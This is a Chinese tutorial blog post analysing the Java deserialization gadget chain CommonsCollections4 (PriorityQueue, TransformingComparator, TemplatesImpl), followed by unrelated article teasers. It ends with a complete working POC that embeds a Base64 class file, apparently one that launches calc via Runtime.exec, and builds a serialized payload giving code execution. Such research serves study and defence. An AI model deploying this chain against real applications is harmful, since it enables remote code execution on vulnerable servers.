[Java反序列化]—CommonsCollections4

news2025/7/14 22:53:40

0x01:

这条链子 前半段跟CC3 一样 ,都是动态加载字节码的过程,后边的构造用到了两个类,PriorityQueueTransformingComparator

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InstantiaterTransformer.transform()
                        	TrAXFilter.TrAXfilter
                            	Method.invoke()
                                	Runtime.exec()

链子:


#class PriorityQueue
PriorityQueue.readObject -> heapify()

heapify() -> siftDown()

siftDown() ->  siftDownComparator()

siftDownComparator() ->  comparator.compare(); #com[arator 可控 = TransformingComparator


#class TransformingComparator
compare()  ->  transformer.transform() # transformer可控 = InstantiateTransformer

接上CC3的链子
 

简化就是 PriorityQueue类 -> TransformingComparator 类 -> CC3


完整流程 

 

PriorityQueue

先看看需要用到的PriorityQueue 类。

PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

本篇主要用的到方法,add(E e):将指定的元素插入此优先级队列
 

测试代码:

package CommonsCollections4;

import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws Exception {
        PriorityQueue priorityQueue=new PriorityQueue(2);
        priorityQueue.add(4);
        priorityQueue.add(3);
        priorityQueue.add(2);
        priorityQueue.add(1); //add()添加指定元素到队列
        System.out.println(priorityQueue);
        System.out.println(priorityQueue.poll()); //poll获取队列的头
    }

}

大概就是入队的添加,poll() 获取队头,之所以用他,是因为他重写了自己的readObject()方法

分析

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

最后调用了 heapify();

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

接着调用siftDown()

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

当comparator不为null时调用siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

最后调用comparator.compare(),而comparator在本类的构造方法中可控,所以关键就在于调用谁的compare()

public PriorityQueue(Comparator<? super E> comparator) {
    this(DEFAULT_INITIAL_CAPACITY, comparator);
}

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

TransformingComparator

这里用到的是 TransformingComparator 类,在该类中发现compare(),并且调用transform()方法,后边的就跟之前都一样了

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

这个类 在CC3 版本是无法使用的,因为CC4 才继承了serialize接口。

//CC 3.2.1
public class TransformingComparator implements Comparator {
//CC 4.0
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

分析分析

后边跟CC3 一样  直接贴过来

public static void main(String[] args) throws Exception {
    Templates templates = new TemplatesImpl();
    byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
    setFieldValue(templates,"_name","snowy");
    setFieldValue(templates,"_bytecodes",new byte[][]{bytes});



    Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), //将对象返回
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    };
    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
}

在执行到 compare() 的时候,他执行的是  this.transformer的transform(obj1)方法

final O value1 = this.transformer.transform(obj1);

所以我们需要构造  this.transformer=chainedTransformer :

也就是: chainedTransformer.transformer(obj1);

构造器:

需要传Transformer的子对象 ,刚好 chainedTransformer就是其子对象

构造:

TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

链子就接上了,我们已经接上了后半段的地方:

 而 PriorityQueue 中需要调用 comparator.compare() ,所以 这里的comparator需要是TransformingComparator才能接上,

看到PriorityQueue的构造方法 也是可以直接传的。

构造器控制一下 comparator的值为 comparator=TransformingComparator类  构造一下:

PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

但是不能反序列化成功,原因有两个,我们打断点调试下

原因其一在这个地方:

 这里会进行i = (size >>> 1) -1,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()

这里可以运行下

只有2右移时才会 i >=0 进入 siftDown()

java中有三种移位运算符

<< : 左移运算符,num << 1,相当于num乘以2

>> : 右移运算符,num >> 1,相当于num除以2

>>> : 无符号右移,忽略符号位,空位都以0补齐

 所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值

priorityQueue.add(1);
priorityQueue.add(2);

添加完后 执行一下

 报错

原因是

public boolean add(E e) {
    return offer(e);
}

在add()中会调用offer()

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

而在offer() 中调用了siftUp() ,接着就一串 siftUpUsingComparator()->siftUpUsingComparator()->compare()......,

就在序列化时执行执行了,而这里的并没有执行,因为少了这里:

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

之前cc3中把他去掉了  ,因为在执行readObject时,会默认初始化,但在这里想通过序列化触发的话,就要加上这条。接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator的值修改为一个没用的值,绕过调用

TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

之后再在add()方法执行结束后,通过反射将transformingComparator修改回来

Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

POC:

package CommonsCollections4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;


import java.util.Base64;
import java.util.PriorityQueue;

public class cc4 {

    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});



        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(0);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("1.txt");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/38273.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何Cisco的学员 摆脱游客登录

Cisco Packet Tracer 是一款强大的网络模拟工具&#xff0c;可用于在虚拟实验环境中练习网络、物联网和网络安全技能。您不需要任何硬件&#xff0c;即可获得实操经验&#xff01; 相信很多小伙伴在使用cisco packet tracer这个思科数据包跟踪器 - 网络仿真工具时在登录的时候…

云原生k8s的前世今生--Docker

不可修改(immutability)和幂等性(idempotent)是一致依赖困扰软件发布与运维的两个难题。以nodejs等解析执行的应用而言&#xff0c;如何控制发布后的软件不被修改运行&#xff0c;发布后&#xff0c;经常发现因为运行环境差异导致各种水土不服&#xff1a;比如应用程序对底层操…

【C++数据结构】渐近记法

渐近记法 3.1 引言 考察程序的操作计数和执行步数有两个重要的原因&#xff1a; 1)预测程序运行时间如何随着实例特征的变化而变化&#xff1b; 2)对两个功能相同的程序&#xff0c;比较它们的时间复杂度。 存在问题&#xff1a; 在使用操作计数时&#xff0c;我们关注的…

Vue生命周期--Vue实例创建过程详解

每个Vue实例在被创建时都要经过一系列的初始化过程--例如&#xff0c;需要设置数据监听、编译模板、将实例挂载到DOM并在数据变化时更新DOM等。同时在这个过程中也会运行一些叫做 生命周期钩子的函数&#xff0c;这给了用户在不同阶段添加自己的代码的机会。 生命周期图示&…

Linux入侵排查

Linux入侵排查 实验内容 当系统被黑客入侵、需短时间查找入侵来源&#xff0c;还原入侵事故过程&#xff0c;同时给出解决方案与防范措施。以下给出一些入侵排查思路 netstat -antpl 查看当前端口状态是LISTEN的端口 针对对外开放的端口&#xff0c;查看日志 先查看ssh爆破的…

OpenGL ES 学习(三) -- 绘制平面图形

上一章中&#xff0c;已经对 OpenGL 的编程语言 GLSL 和渲染模式有了一定的了解&#xff0c;今天&#xff0c;将运用之前的知识&#xff0c;完成一些平面图形的操作。效果如下&#xff1a; 如果你对 OpenGL 的基本概念或者渲染流程不清晰&#xff0c;建议先看 OpenGL ES 学习…

D. Insert a Progression(绝对值的性质)

Problem - 1671D - Codeforces 给你一个n个整数的序列a1,a2,...,an。你还得到了x个整数1,2,...,x。 每个整数可以插入序列的开头&#xff0c;也可以插入序列的结尾&#xff0c;或者插入序列的任何元素之间。 所得序列a′的得分是其中相邻元素的绝对差异之和&#xff08;∑i1n…

实验跟踪

管理和跟踪机器学习实验。 Intuition 到目前为止&#xff0c;一直在训练和评估不同的基线&#xff0c;但还没有真正跟踪这些实验。将解决这个问题&#xff0c;但定义一个适当的实验跟踪过程&#xff0c;将用于所有未来的实验&#xff08;包括超参数优化&#xff09;。实验跟踪是…

【JavaWeb】CookieSession

文章目录一.Cookie❤️1.Cookie的概念2.创建Cookie3.获取Cookie4.修改Cookie的值5.Cookie的生命周期控制6.Cookie有效路径Path的设置7.免输入用户名登录二.Session❤️1.session的概念2.Session的创建和获取3.Session域数据的存取4.Session的生命周期控制5.浏览器和Session之间…

pytorch深度学习实战lesson28

第二十八课 resnet的梯度计算&#xff08;如何缓解梯度问题&#xff09; 沐神说&#xff1a;“假设你在卷积神经网络里面&#xff0c;只要了解一个神经网络的话&#xff0c;你就了解 rest net 就行了。 rest net 是一个很简单的也是很好用的一个网络。这也是大家会经常在实际中…

OpenCV-Python小应用(六):车道线检测

OpenCV-Python小应用&#xff08;六&#xff09;&#xff1a;车道线检测前言前提条件实验环境基于霍夫变换的车道线检测参考文献前言 本文是个人使用OpenCV-Python的应用案例&#xff0c;由于水平有限&#xff0c;难免出现错漏&#xff0c;敬请批评改正。更多精彩内容&#xff…

【成为红帽工程师】第五天 NFS服务器

目录 一、NFS服务器简介 二、NFS的使用 三、客户端使用autofs自动挂载 四、相关实验 一、NFS服务器简介 NFS&#xff08;网络文件系统&#xff09;&#xff0c;是FreeBSD支持的文件系统中的一种&#xff0c;它允许网络中的计算机&#xff08;不同的计算机、不同的操作系统&…

Go学习之路:流程控制语句:for、if、else、switch 和 defer(DAY 1)

文章目录前引流程控制语句&#xff1a;for、if、else、switch 和 defer1.1、for循环语句/语法格式&#xff08;一&#xff09;1.2、for循环语句/省略前置后置语句&#xff08;二&#xff09;1.3、for循环语句/while&#xff08;三&#xff09;1.4、for循环语句/无限循环&#x…

美新科技过会:收入依赖美国、产能利用率低,林东亮等均为香港籍

11月25日&#xff0c;深圳证券交易所创业板披露的信息显示&#xff0c;美新科技股份有限公司&#xff08;下称“美新科技”&#xff09;获得上市委会议通过。据贝多财经了解&#xff0c;美新科技于2022年3月31日在创业板递交上市申请。 本次冲刺创业板上市&#xff0c;美新科技…

SpringCloudGateway--谓词(断言)

目录 一、定义 二、谓词使用 1、After 2、Before 3、Between 4、Cookie 5、Header 6、Host 7、Method 8、Path 9、Query 10、RemoteAddr 11、Weight 一、定义 SpringCloudGateway中三个重要词汇&#xff1a; 路由&#xff08;Route&#xff09;&#xff1a;配置网…

傻白入门芯片设计,芯片键合(Die Bonding)(四)

目录 一、键合( Bonding) 1. 什么是键合(Bonding)&#xff1f; 2. 芯片键合步骤 3&#xff0e;芯片拾取与放置(Pick & Place) 4. 芯片顶出(Ejection)工艺 5. 使用环氧树脂(Epoxy)实现粘合的芯片键合工艺 6. 使用晶片黏结薄膜&#xff08;DAF&#xff09;的芯片键合工…

Redis实战篇(三)秒杀

一、全局唯一ID &#xff08;1&#xff09;定义 全局ID生成器&#xff0c;是一种在分布式系统下用来生成全局唯一ID的工具&#xff0c;一半满足下列特性&#xff1a; 唯一性高可用高性能递增性安全性 为了增加ID的安全性&#xff0c;我们不直接使用Redis自增的数值&#xf…

OpenCV-Python快速入门(十五):霍夫变换

OpenCV-Python快速入门&#xff08;十五&#xff09;&#xff1a;霍夫变换前言前提条件实验环境霍夫变换基本原理霍夫直线变换&#xff08;cv2.HoughLines()&#xff09;概率霍夫变换&#xff08;cv2.HoughLinesP()&#xff09;霍夫圆变换&#xff08;cv2.HoughCircles()&#…

移动端测试理论

App测试基础 App功能测试及专项测试 前言: 对于APP项目的测试&#xff0c;一般是进行系统测试。 测试主要从业务功能和非业务功能两个方面考虑。业务功能测试 根据软件说明&#xff0c;设计文档或用户需求验证App的各个功能的实现。 专项测试 兼容性测试 兼容性测试的关注点…

阿里Java研发面经(已拿offer)

一、自我总结&#xff1a; 1&#xff09;首先最重要的一点。对自己的要求高点。不要以简单的实习生来要求自己。你要想 你会的别人都会 你的核心竞争力是什么呢。所以楼主建议以Java高级工程师来要求自己。不会的就学嘛。人面对未知的事物 本能反应是恐惧与退缩。可当你尝试去…